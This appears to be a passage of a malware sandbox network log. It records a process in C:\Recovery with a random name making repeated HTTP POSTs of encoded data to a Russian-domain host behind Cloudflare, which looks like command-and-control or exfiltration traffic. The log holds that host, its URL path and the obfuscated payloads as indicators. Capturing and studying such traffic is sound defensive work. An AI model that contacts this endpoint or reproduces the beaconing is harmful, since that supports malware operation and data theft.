Dec 21, 2024 11:08:56.272731066 CET	807	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OL2frMBXbSlt5IB2xFfyEoxOigK2uogrRLwRfgtlQW3Ku994MckxVbaa9AxAq0yE4wcxwJIwxvpBJEMvwxM57ohAmXu2cHeI2dm%2FoX6juWd5V0Av4vS3P82MB%2B4y5Obz6vxM4QKL%2Fyo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712dd2f4b4268-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4468&min_rtt=1622&rtt_var=6301&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=59850&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49923	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:56.517230988 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:56.870074987 CET	2292	OUT	Data Raw: 59 5c 46 5c 5a 5a 55 5d 54 5d 59 5a 55 5c 57 50 56 5a 5c 5f 52 52 5b 5b 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y\F\ZZU]T]YZU\WPVZ\_RR[[YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!E)\<?<R+;??=Z2^!),)>*(30(;4_#(V%-'[$.Y!3
Dec 21, 2024 11:08:57.602020979 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:57.844551086 CET	804	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RpMCph7kPWxrYhdUzXXdJzGX2YeV1CyGJYzvie0t6HqLxNC72VpQ%2BzQh3lMpG2X9z0ry91Zw8YdXhFLdxBSp2Adtn8GNXluFRTXmqSWfCnJK5tX2JxxFSUxdcZlhzev5f8NDwjEVNTs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712e708507c9a-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3400&min_rtt=2044&rtt_var=3478&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=113239&cwnd=188&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49929	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:58.101108074 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:08:58.447376966 CET	2292	OUT	Data Raw: 59 58 43 5f 5a 56 50 5b 54 5d 59 5a 55 5d 57 57 56 58 5c 59 52 5e 5b 59 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YXC_ZVP[T]YZU]WWVX\YR^[YYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!@==2(??&^9*9<(%V+0(+;"1='[$.Y!7
Dec 21, 2024 11:08:59.186208963 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:08:59.427499056 CET	811	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:08:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Lw%2FuV27o%2B0pSvmPiAOK7IdHDETEhwbX8ZmnpThCaegszCnbFh6IM6Hk2Cr5Q%2FoLSOVc3zKpWLkvqDfOL7opyBzkwqqq%2BEETV%2Fy6iZtIOBED6E4LB3YY3KCmOTQnLgaFbVvUe48lBF74%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712f0ea897d02-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4576&min_rtt=1965&rtt_var=5960&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=63869&cwnd=229&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49934	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:08:59.680461884 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:09:00.025551081 CET	2292	OUT	Data Raw: 59 53 46 5e 5a 59 55 5a 54 5d 59 5a 55 51 57 52 56 5b 5c 5b 52 5f 5b 5b 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YSF^ZYUZT]YZUQWRV[\[R_[[YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!)+/3>.<%8)+?Y)-=P(V(W+87";7U1'[$.Y!
Dec 21, 2024 11:09:00.764579058 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:00.997621059 CET	807	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T9i97eW3SP2OMpsGttSdTXKv8bfDpMfwEFGF8nQ4xgbyDsCN0faSnI1LJkMkyq1CfZ4nYkhFqLZS87korH9%2BnagLhqOLvljwbRzpZm4nbSvnRGaHGYt%2FDhRcoZXnpqOw%2B6YbZUIElIY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5712faccae4400-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4107&min_rtt=1553&rtt_var=5691&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=66393&cwnd=154&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49937	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:01.236361980 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:09:01.588031054 CET	2292	OUT	Data Raw: 59 5f 43 5f 5a 57 50 5b 54 5d 59 5a 55 5d 57 57 56 5e 5c 54 52 57 5b 5a 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y_C_ZWP[T]YZU]WWV^\TRW[ZYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\".1?$?=#E?%%(=V)_)=:(0(Q<]8X!+$%-'[$.Y!7
Dec 21, 2024 11:09:02.322263002 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:02.561661959 CET	806	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dG9wxJVgieJ7vjdBpS6a7mdXTBqZSKziXEaASSrFPxi%2BkqkzNFH4gkHTo51UvWLPNlueyCKUy2hYiPedsBTDD78T1JlmkMr%2FUTEMLpCisnrQv09Nfx4rfwe9rMqeXLrYL4mRNg4URlY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5713048fd25e61-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6762&min_rtt=1606&rtt_var=10915&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=34065&cwnd=208&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49943	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:02.843342066 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:09:03.197442055 CET	2292	OUT	Data Raw: 59 52 43 5a 5a 57 55 5d 54 5d 59 5a 55 5e 57 55 56 5c 5c 5b 52 50 5b 57 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YRCZZWU]T]YZU^WUV\\[RP[WYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!D*=5<<0?>C(/-2T>)#?"( '+ "8 1='[$.Y!;
Dec 21, 2024 11:09:03.929033995 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:04.184231043 CET	812	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AODjQCCcEg0aBg7r7Pl1fXgbpH2r%2BFPav7TQCY299ZIGZnJ3zH85E4uJ4Z7%2FJVqFBFwaC2CNa65w4iEZtoyoMGlQcsWh%2FQlMG4yCtthU8rEuOFVNyLf2LY5vqV5P9%2BDYmuCG9Ns2%2FQc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57130e8e328c71-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=3525&min_rtt=1985&rtt_var=3826&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=102012&cwnd=192&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49948	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:04.420725107 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.4	49949	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:04.679172993 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 1732 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:09:05.070645094 CET	1732	OUT	Data Raw: 59 5d 43 58 5f 5c 55 5a 54 5d 59 5a 55 50 57 56 56 5c 5c 5b 52 56 5b 59 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: Y]CX_\UZT]YZUPWVV\\[RV[YYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!C*=2\<+?+/118!Q>93Y).:( #<#5+%'[$.Y!
Dec 21, 2024 11:09:05.765971899 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:06.007945061 CET	958	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kY1E7LpVnP2WAIggpwcxKwX%2FBDEsQjHEy%2FTQrOY4x1PTlN7iIOYM4RwuPHgEWZ9QkM%2B3n2SeruldeUyzUpusLz6Ss4ORPZ%2FfKGjBhafEx8kz2vcVwn8PQXtRNlWNcKKfPo6ZXvKhwUc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57131a0d5f43e7-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4523&min_rtt=2089&rtt_var=5653&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2035&delivery_rate=67696&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0f 13 39 5f 24 2b 31 00 28 3a 3b 5b 28 2f 3e 0f 28 3c 36 16 2f 0c 31 5f 27 23 12 59 2f 2c 07 55 3e 23 26 06 28 04 3c 57 28 34 37 1f 29 28 2e 58 03 11 27 00 23 29 28 02 2b 38 3d 1f 2c 3b 3d 5d 34 13 0d 5c 2d 38 36 0c 27 3e 2a 1c 21 2a 0d 12 38 1f 3f 0a 3b 17 0a 06 32 27 0a 0b 24 2e 2e 53 0c 16 21 03 3e 3d 0f 10 27 3f 00 0d 30 27 22 55 22 26 34 19 22 01 3b 0f 25 2c 2a 59 30 3e 05 0e 3f 56 29 53 3c 3c 3a 42 3f 5c 21 50 28 2b 26 55 2e 01 22 53 04 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 989_$+1(:;[(/>(<6/1_'#Y/,U>#&(<W(47)(.X'#)(+8=,;=]4\-86'>!8?;2'$..S!>='?0'"U"&4";%,*Y0>?V)S<<:B?\!P(+&U."S=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.4	49951	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:04.799105883 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:09:05.153870106 CET	2292	OUT	Data Raw: 59 5a 43 5a 5f 5b 55 58 54 5d 59 5a 55 51 57 56 56 5b 5c 54 52 57 5b 5b 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YZCZ_[UXT]YZUQWVV[\TRW[[YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\")_?<(<6&!U:).:+V<W(;(#;7%'[$.Y!
Dec 21, 2024 11:09:05.885026932 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:06.124486923 CET	809	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=q9IRQQSRo7QwkQWqtH76oTrEj5uDCQHJPqm7jML%2BlnGwPAu9GRo%2FOK8cfXTsbxtoYSB%2FTg0M5s%2BTv9oSuAcQxwwiONmdo%2BDl4p1v6m4xThQ9j5MM4fPV4P%2BRF6h1oQVRa2QgEPRBXKw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f57131ac88e4239-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=7021&min_rtt=1953&rtt_var=10870&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=34349&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a Data Ascii: 4=[@W
Dec 21, 2024 11:09:06.317076921 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.4	49956	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:06.565854073 CET	279	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue
Dec 21, 2024 11:09:06.916337013 CET	2292	OUT	Data Raw: 59 5a 43 5a 5f 5b 55 59 54 5d 59 5a 55 5d 57 50 56 5c 5c 5b 52 55 5b 5a 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YZCZ_[UYT]YZU]WPV\\[RU[ZYRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!A>-<3(D(1Y185*;+>9+3/(] 5?R2='[$.Y!7
Dec 21, 2024 11:09:07.650820971 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:07.889599085 CET	816	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mSu%2FG7rYW5ev4k71F%2Fux03PKusz%2FfdZxN467GbbNHmmPL6d44A7PxKU6PHgp9VA2YdZXFlAUH8%2FNSts2GJFtYX3RXpWjVvIct9eBVpK%2FyOUiFfSavl%2FbzDXJAYkwADSg%2B0HL9p2gXfI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f571325df274267-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=6910&min_rtt=1861&rtt_var=10796&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2571&delivery_rate=34552&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.4	49961	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:08.205532074 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:09:08.556767941 CET	2292	OUT	Data Raw: 59 53 46 59 5a 5d 50 5b 54 5d 59 5a 55 5f 57 56 56 5e 5c 5c 52 50 5b 5e 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: YSFYZ]P[T]YZU_WVV^\\RP[^YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!=[2Y><;+-'</6$(6=\$+X!U?(*;$!8&'[$.Y!
Dec 21, 2024 11:09:09.291440964 CET	25	IN	HTTP/1.1 100 Continue
Dec 21, 2024 11:09:09.538408041 CET	807	IN	HTTP/1.1 200 OK Date: Sat, 21 Dec 2024 10:09:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pjRoHIPTnPbjdH8jDIPGvmWCn8CwsmwGZUqU7TtoKN1MdsmuulrxdaeP%2B7pnvqUwOXv64CF8WxQkYcfsO75wAF2Gwe1fnkUTiBgwc%2FFpieX0GLTRQlaywtFrmUEEm%2F5i9VZaYoceakY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f5713301c9d425c-EWR alt-svc: h2=":443"; ma=60 server-timing: cfL4;desc="?proto=TCP&rtt=4842&min_rtt=1693&rtt_var=6934&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2595&delivery_rate=54295&cwnd=225&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3d 5b 40 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4=[@W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.4	49964	172.67.186.200	80	7636	C:\Recovery\roKDGeHYZcczQzeuqXqYGYyw.exe

Timestamp	Bytes transferred	Direction	Data
Dec 21, 2024 11:09:09.783205986 CET	303	OUT	POST /videogeoflowertestuniversaldleLocalCentral.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 895157cm.nyashteam.ru Content-Length: 2292 Expect: 100-continue Connection: Keep-Alive
Dec 21, 2024 11:09:10.135010958 CET	2292	OUT	Data Raw: 5c 5e 46 59 5f 5d 50 58 54 5d 59 5a 55 5f 57 56 56 5a 5c 5e 52 51 5b 5c 59 52 42 5c 52 5d 5f 59 42 52 5b 5f 53 58 5a 5c 42 56 50 5d 57 5f 54 5e 50 59 5e 5f 5a 5f 55 5e 55 59 57 52 55 5d 5f 57 5e 5c 59 5a 55 5d 57 51 5e 5b 5c 52 5c 5b 5c 57 57 54 Data Ascii: \^FY_]PXT]YZU_WVVZ\^RQ[\YRB\R]_YBR[_SXZ\BVP]W_T^PY^_Z_U^UYWRU]_W^\YZU]WQ^[\R\[\WWTZQQXU\[VUPXXQQZZX\TY[[[]_QYS\U\DSP\^^RYQXXZ^_WUR_PV\X@G\ZVP]YVTZ[_QS\\^^][_BT[B]_X__ZQP\[TQXTQZXYP\^^\!A)%+<(/C)?2%>()-!U? 3<;$58$'='[$.Y!
